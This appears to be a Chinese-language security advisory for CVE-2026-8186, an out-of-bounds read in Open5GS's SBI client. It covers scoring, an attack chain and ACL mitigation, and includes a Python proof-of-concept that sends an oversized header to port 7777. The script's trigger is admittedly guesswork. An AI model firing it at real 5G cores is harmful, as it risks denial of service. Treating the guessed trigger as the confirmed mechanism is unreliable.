IPBUF安全漏洞报告
English
CVE-2026-8186 CVSS 5.3 中危

CVE-2026-8186 Open5GS越界读取漏洞

披露日期: 2026-05-09

漏洞信息

漏洞编号
CVE-2026-8186
漏洞类型
越界读取
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Open5GS

相关标签

越界读取Open5GS拒绝服务远程漏洞

漏洞概述

Open5GS 2.7.7及之前版本中存在安全漏洞。该漏洞位于lib/sbi/client.c文件的ogs_sbi_client_send_via_scp_or_sepp函数中,属于NF组件。攻击者无需认证即可远程利用此漏洞,通过恶意数据触发越界读取,可能造成服务拒绝等影响。建议用户尽快安装补丁以修复此问题。

技术细节

该漏洞源于Open5GS在处理SBI客户端请求时的逻辑缺陷。具体受影响的函数是ogs_sbi_client_send_via_scp_or_sepp,位于lib/sbi/client.c源文件中。由于未对输入数据的边界进行严格校验,当攻击者向NF组件发送特制的数据包时,程序会读取超出预期缓冲区范围的内容。这种越界读取操作可能导致进程崩溃(拒绝服务)或泄露内存中的敏感信息。CVSS 3.1评分为5.3,攻击复杂度低,无需用户交互且无需权限即可通过网络发起攻击。

攻击链分析

STEP 1
信息收集
攻击者扫描网络,寻找暴露在互联网上的Open5GS实例,特别是监听SBI接口(默认端口7777)的服务。
STEP 2
构造恶意数据
攻击者分析ogs_sbi_client_send_via_scp_or_sepp函数的代码逻辑,构造能够导致越界读取的特殊数据包或HTTP请求头。
STEP 3
发送攻击请求
攻击者无需认证,直接向目标Open5GS的NF组件发送特制的恶意数据包。
STEP 4
触发漏洞
目标服务器在处理请求时,由于边界检查缺失,执行了越界读取操作,导致服务崩溃(DoS)或内存信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-8186 (Conceptual) # This script attempts to trigger the out-of-bounds read in Open5GS # by sending a specially crafted request to the SBI interface. import requests import sys def trigger_vulnerability(target_ip, target_port=7777): url = f"http://{target_ip}:{target_port}/namf-comm/v1/ue-contexts" # Constructing a malformed payload that might trigger the OOB read # Specific boundary details depend on the commit diff, but large headers # or malformed JSON structures are common triggers. headers = { "User-Agent": "CVE-2026-8186-Test", "Content-Type": "application/json", "X-Malicious-Header": "A" * 10000 # Potential trigger for buffer handling issue } payload = { "supi": "imsi-999990000000001", "plmnId": { "mcc": "999", "mnc": "99" } } try: print(f"[*] Sending payload to {url}...") response = requests.post(url, json=payload, headers=headers, timeout=5) print(f"[+] Response Status: {response.status_code}") print("[!] If the service crashes or hangs, the vulnerability might be triggered.") except Exception as e: print(f"[!] Exception occurred: {e}") print("[!] Service might have crashed (Denial of Service).") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python poc.py <target_ip>") else: trigger_vulnerability(sys.argv[1])

影响范围

Open5GS <= 2.7.7

防御指南

临时缓解措施
建议通过配置网络ACL,仅允许核心网内部网元之间的SBI通信,禁止外部IP直接访问Open5GS的SBI接口端口(如TCP/7777),从而降低被远程攻击的风险。

参考链接